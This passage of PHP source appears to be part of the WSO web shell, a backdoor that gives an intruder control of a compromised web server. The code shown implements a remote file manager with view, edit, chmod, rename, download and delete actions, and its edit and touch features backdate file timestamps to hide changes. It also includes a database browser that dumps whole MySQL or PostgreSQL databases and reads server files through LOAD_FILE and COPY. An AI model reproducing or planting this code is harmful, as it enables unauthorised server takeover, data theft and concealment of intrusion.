629 d.files.elements[i].checked = d.files.elements[0].checked;
630 }
631</script>
632<table width='100%' class='main' cellspacing='0' cellpadding='2'>
633<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
634 $dirs = $files = array();
635 $n = count($dirContent);
636 for($i=0;$i<$n;$i++) {
637 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
638 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
639 $tmp = array('name' => $dirContent[$i],
640 'path' => $GLOBALS['cwd'].$dirContent[$i],
641 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
642 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
643 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
644 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
645 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
646 );
647 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
648 $files[] = array_merge($tmp, array('type' => 'file'));
649 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
650 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
651 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
652 $dirs[] = array_merge($tmp, array('type' => 'dir'));
653 }
654 $GLOBALS['sort'] = $sort;
655 function wsoCmp($a, $b) {
656 if($GLOBALS['sort'][0] != 'size')
657 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
658 else
659 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
660 }
661 usort($files, "wsoCmp");
662 usort($dirs, "wsoCmp");
663 $files = array_merge($dirs, $files);
664 $l = 0;
665 foreach($files as $f) {
666 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
667 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
668 $l = $l?0:1;
669 }
670 echo "<tr><td colspan=7>
671 <input type=hidden name=ne value=''>
672 <input type=hidden name=a value='FilesMan'>
673 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
674 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
675 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
676 if(class_exists('ZipArchive'))
677 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
678 echo "<option value='tar'>Compress (tar.gz)</option>";
679 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
680 echo "<option value='paste'>Paste / Compress</option>";
681 echo "</select> ";
682 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
683 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
684 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
685 wsoFooter();
686}
687function actionFilesTools() {
688 if( isset($_POST['p1']) )
689 $_POST['p1'] = urldecode($_POST['p1']);
690 if(@$_POST['p2']=='download') {
691 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
692 ob_start("ob_gzhandler", 4096);
693 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
694 if (function_exists("mime_content_type")) {
695 $type = @mime_content_type($_POST['p1']);
696 header("Content-Type: " . $type);
697 } else
698 header("Content-Type: application/octet-stream");
699 $fp = @fopen($_POST['p1'], "r");
700 if($fp) {
701 while(!@feof($fp))
702 echo @fread($fp, 1024);
703 fclose($fp);
704 }
705 }exit;
706 }
707 if( @$_POST['p2'] == 'mkfile' ) {
708 if(!file_exists($_POST['p1'])) {
709 $fp = @fopen($_POST['p1'], 'w');
710 if($fp) {
711 $_POST['p2'] = "edit";
712 fclose($fp);
713 }
714 }
715 }
716 wsoHeader();
717 echo '<h1>File tools</h1><div class=content>';
718 if( !file_exists(@$_POST['p1']) ) {
719 echo 'File not exists';
720 wsoFooter();
721 return;
722 }
723 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
724 if(!$uid) {
725 $uid['name'] = @fileowner($_POST['p1']);
726 $gid['name'] = @filegroup($_POST['p1']);
727 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
728 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
729 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
730 if( empty($_POST['p2']) )
731 $_POST['p2'] = 'view';
732 if( is_file($_POST['p1']) )
733 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
734 else
735 $m = array('Chmod', 'Rename', 'Touch');
736 foreach($m as $v)
737 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
738 echo '<br><br>';
739 switch($_POST['p2']) {
740 case 'view':
741 echo '<pre class=ml1>';
742 $fp = @fopen($_POST['p1'], 'r');
743 if($fp) {
744 while( !@feof($fp) )
745 echo htmlspecialchars(@fread($fp, 1024));
746 @fclose($fp);
747 }
748 echo '</pre>';
749 break;
750 case 'highlight':
751 if( @is_readable($_POST['p1']) ) {
752 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
753 $code = @highlight_file($_POST['p1'],true);
754 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
755 }
756 break;
757 case 'chmod':
758 if( !empty($_POST['p3']) ) {
759 $perms = 0;
760 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
761 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
762 if(!@chmod($_POST['p1'], $perms))
763 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
764 }
765 clearstatcache();
766 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
767 break;
768 case 'edit':
769 if( !is_writable($_POST['p1'])) {
770 echo 'File isn\'t writeable';
771 break;
772 }
773 if( !empty($_POST['p3']) ) {
774 $time = @filemtime($_POST['p1']);
775 $_POST['p3'] = substr($_POST['p3'],1);
776 $fp = @fopen($_POST['p1'],"w");
777 if($fp) {
778 @fwrite($fp,$_POST['p3']);
779 @fclose($fp);
780 echo 'Saved!<br><script>p3_="";</script>';
781 @touch($_POST['p1'],$time,$time);
782 }
783 }
784 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
785 $fp = @fopen($_POST['p1'], 'r');
786 if($fp) {
787 while( !@feof($fp) )
788 echo htmlspecialchars(@fread($fp, 1024));
789 @fclose($fp);
790 }
791 echo '</textarea><input type=submit value=">>"></form>';
792 break;
793 case 'hexdump':
794 $c = @file_get_contents($_POST['p1']);
795 $n = 0;
796 $h = array('00000000<br>','','');
797 $len = strlen($c);
798 for ($i=0; $i<$len; ++$i) {
799 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
800 switch ( ord($c[$i]) ) {
801 case 0: $h[2] .= ' '; break;
802 case 9: $h[2] .= ' '; break;
803 case 10: $h[2] .= ' '; break;
804 case 13: $h[2] .= ' '; break;
805 default: $h[2] .= $c[$i]; break;
806 }
807 $n++;
808 if ($n == 32) {
809 $n = 0;
810 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
811 $h[1] .= '<br>';
812 $h[2] .= "n";
813 }
814 }
815 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
816 break;
817 case 'rename':
818 if( !empty($_POST['p3']) ) {
819 if(!@rename($_POST['p1'], $_POST['p3']))
820 echo 'Can\'t rename!<br>';
821 else
822 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
823 }
824 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
825 break;
826 case 'touch':
827 if( !empty($_POST['p3']) ) {
828 $time = strtotime($_POST['p3']);
829 if($time) {
830 if(!touch($_POST['p1'],$time,$time))
831 echo 'Fail!';
832 else
833 echo 'Touched!';
834 } else echo 'Bad time format!';
835 }
836 clearstatcache();
837 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
838 break;
839 }
840 echo '</div>';
841 wsoFooter();
842} function actionSql() {
843 class DbClass {
844 var $type;
845 var $link;
846 var $res;
847 function DbClass($type) {
848 $this->type = $type;
849 }
850 function connect($host, $user, $pass, $dbname){
851 switch($this->type) {
852 case 'mysql':
853 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
854 break;
855 case 'pgsql':
856 $host = explode(':', $host);
857 if(!$host[1]) $host[1]=5432;
858 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
859 break;
860 }
861 return false;
862 }
863 function selectdb($db) {
864 switch($this->type) {
865 case 'mysql':
866 if (@mysql_select_db($db))return true;
867 break;
868 }
869 return false;
870 }
871 function query($str) {
872 switch($this->type) {
873 case 'mysql':
874 return $this->res = @mysql_query($str);
875 break;
876 case 'pgsql':
877 return $this->res = @pg_query($this->link,$str);
878 break;
879 }
880 return false;
881 }
882 function fetch() {
883 $res = func_num_args()?func_get_arg(0):$this->res;
884 switch($this->type) {
885 case 'mysql':
886 return @mysql_fetch_assoc($res);
887 break;
888 case 'pgsql':
889 return @pg_fetch_assoc($res);
890 break;
891 }
892 return false;
893 }
894 function listDbs() {
895 switch($this->type) {
896 case 'mysql':
897 return $this->query("SHOW databases");
898 break;
899 case 'pgsql':
900 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
901 break;
902 }
903 return false;
904 }
905 function listTables() {
906 switch($this->type) {
907 case 'mysql':
908 return $this->res = $this->query('SHOW TABLES');
909 break;
910 case 'pgsql':
911 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
912 break;
913 }
914 return false;
915 }
916 function error() {
917 switch($this->type) {
918 case 'mysql':
919 return @mysql_error();
920 break;
921 case 'pgsql':
922 return @pg_last_error();
923 break;
924 }
925 return false;
926 }
927 function setCharset($str) {
928 switch($this->type) {
929 case 'mysql':
930 if(function_exists('mysql_set_charset'))
931 return @mysql_set_charset($str, $this->link);
932 else
933 $this->query('SET CHARSET '.$str);
934 break;
935 case 'pgsql':
936 return @pg_set_client_encoding($this->link, $str);
937 break;
938 }
939 return false;
940 }
941 function loadFile($str) {
942 switch($this->type) {
943 case 'mysql':
944 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
945 break;
946 case 'pgsql':
947 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
948 $r=array();
949 while($i=$this->fetch())
950 $r[] = $i['file'];
951 $this->query('drop table wso2');
952 return array('file'=>implode("\n",$r));
953 break;
954 }
955 return false;
956 }
957 function dump($table, $fp = false) {
958 switch($this->type) {
959 case 'mysql':
960 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
961 $create = mysql_fetch_array($res);
962 $sql = $create[1].";\n";
963 if($fp) fwrite($fp, $sql); else echo($sql);
964 $this->query('SELECT * FROM `'.$table.'`');
965 $i = 0;
966 $head = true;
967 while($item = $this->fetch()) {
968 $sql = '';
969 if($i % 1000 == 0) {
970 $head = true;
971 $sql = ";\n\n";
972 }
973
974 $columns = array();
975 foreach($item as $k=>$v) {
976 if($v === null)
977 $item[$k] = "NULL";
978 elseif(is_int($v))
979 $item[$k] = $v;
980 else
981 $item[$k] = "'".@mysql_real_escape_string($v)."'";
982 $columns[] = "`".$k."`";
983 }
984 if($head) {
985 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
986 $head = false;
987 } else
988 $sql .= "\n\t,(".implode(", ", $item).')';
989 if($fp) fwrite($fp, $sql); else echo($sql);
990 $i++;
991 }
992 if(!$head)
993 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
994 break;
995 case 'pgsql':
996 $this->query('SELECT * FROM '.$table);
997 while($item = $this->fetch()) {
998 $columns = array();
999 foreach($item as $k=>$v) {
1000 $item[$k] = "'".addslashes($v)."'";
1001 $columns[] = $k;
1002 }
1003 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1004 if($fp) fwrite($fp, $sql); else echo($sql);
1005 }
1006 break;
1007 }
1008 return false;
1009 }
1010 };
1011 $db = new DbClass($_POST['type']);
1012 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1013 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1014 $db->selectdb($_POST['sql_base']);
1015 switch($_POST['charset']) {
1016 case "Windows-1251": $db->setCharset('cp1251'); break;
1017 case "UTF-8": $db->setCharset('utf8'); break;
1018 case "KOI8-R": $db->setCharset('koi8r'); break;
1019 case "KOI8-U": $db->setCharset('koi8u'); break;
1020 case "cp866": $db->setCharset('cp866'); break;
1021 }
1022 if(empty($_POST['file'])) {
1023 ob_start("ob_gzhandler", 4096);
1024 header("Content-Disposition: attachment; filename=dump.sql");
1025 header("Content-Type: text/plain");
1026 foreach($_POST['tbl'] as $v)
1027 $db->dump($v);
1028 exit;
1029 } elseif($fp = @fopen($_POST['file'], 'w')) {
1030 foreach($_POST['tbl'] as $v)
1031 $db->dump($v, $fp);
1032 fclose($fp);
1033 unset($_POST['p2']);
1034 } else
1035 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1036 }
1037 wsoHeader();
1038 echo "
1039<h1>Sql browser</h1><div class=content>
1040<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1041<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1042<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1043<td><select name='type'><option value='mysql' ";
1044 if(@$_POST['type']=='mysql')echo 'selected';
1045echo ">MySql</option><option value='pgsql' ";
1046if(@$_POST['type']=='pgsql')echo 'selected';
1047echo ">PostgreSql</option></select></td>
1048<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1049<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1050<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1051 $tmp = "<input type=text name=sql_base value=''>";
1052 if(isset($_POST['sql_host'])){
1053 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1054 switch($_POST['charset']) {
1055 case "Windows-1251": $db->setCharset('cp1251'); break;
1056 case "UTF-8": $db->setCharset('utf8'); break;
1057 case "KOI8-R": $db->setCharset('koi8r'); break;
1058 case "KOI8-U": $db->setCharset('koi8u'); break;
1059 case "cp866": $db->setCharset('cp866'); break;
1060 }
1061 $db->listDbs();
1062 echo "<select name=sql_base><option value=''></option>";
1063 while($item = $db->fetch()) {
1064 list($key, $value) = each($item);
1065 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1066 }
1067 echo '</select>';
1068 }
1069 else echo $tmp;
1070 }else
1071 echo $tmp;
1072 echo "</td>
1073 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1074 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1075 </tr>
1076 </table>
1077 <script>
1078 s_db='".@addslashes($_POST['sql_base'])."';
1079 function fs(f) {
1080 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1081 if(f.p1) f.p1.value='';
1082 if(f.p2) f.p2.value='';
1083 if(f.p3) f.p3.value='';
1084 }
1085 }
1086 function st(t,l) {
1087 d.sf.p1.value = 'select';
1088 d.sf.p2.value = t;
1089 if(l && d.sf.p3) d.sf.p3.value = l;
1090 d.sf.submit();
1091 }
1092 function is() {
1093 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1094 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1095 }
1096 </script>";
1097 if(isset($db) && $db->link){
1098 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1099 if(!empty($_POST['sql_base'])){
1100 $db->selectdb($_POST['sql_base']);
1101 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1102 $tbls_res = $db->listTables();
1103 while($item = $db->fetch($tbls_res)) {
1104 list($key, $value) = each($item);
1105 if(!empty($_POST['sql_count']))
1106 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1107 $value = htmlspecialchars($value);
1108 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1109 }
1110 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1111 if(@$_POST['p1'] == 'select') {
1112 $_POST['p1'] = 'query';
1113 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1114 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1115 $num = $db->fetch();
1116 $pages = ceil($num['n'] / 30);
1117 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1118 echo " of $pages";
1119 if($_POST['p3'] > 1)
1120 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1121 if($_POST['p3'] < $pages)
1122 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1123 $_POST['p3']--;
1124 if($_POST['type']=='pgsql')
1125 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1126 else
1127 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1128 echo "<br><br>";
1129 }
1130 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1131 $db->query(@$_POST['p2']);
1132 if($db->res !== false) {
1133 $title = false;
1134 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1135 $line = 1;
1136 while($item = $db->fetch()) {
1137 if(!$title) {
1138 echo '<tr>';
1139 foreach($item as $key => $value)
1140 echo '<th>'.$key.'</th>';
1141 reset($item);
1142 $title=true;
1143 echo '</tr><tr>';
1144 $line = 2;
1145 }
1146 echo '<tr class="l'.$line.'">';
1147 $line = $line==1?2:1;
1148 foreach($item as $key => $value) {
1149 if($value == null)
1150 echo '<td><i>null</i></td>';
1151 else
1152 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1153 }
1154 echo '</tr>';
1155 }
1156 echo '</table>';
1157 } else {
1158 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1159 }
1160 }
1161 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1162 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1163 echo htmlspecialchars($_POST['p2']);
1164 echo "</textarea><br/><input type=submit value='Execute'>";
1165 echo "</td></tr>";
1166 }
1167 echo "</table></form><br/>";
1168 if($_POST['type']=='mysql') {
1169 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1170 if($db->fetch())
1171 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1172 }
1173 if(@$_POST['p1'] == 'loadfile') {
1174 $file = $db->loadFile($_POST['p2']);
1175 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1176 }
1177 } else {
1178 echo htmlspecialchars($db->error());
1179 }
1180 echo '</div>';
1181 wsoFooter();
1182}if( empty($_POST['a']) )
1183 if(isset($default_action) && function_exists('action' . $default_action))
1184 $_POST['a'] = $default_action;
1185 else
1186 $_POST['a'] = 'FilesMan';
1187if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1188 call_user_func('action' . $_POST['a']);
1189exit;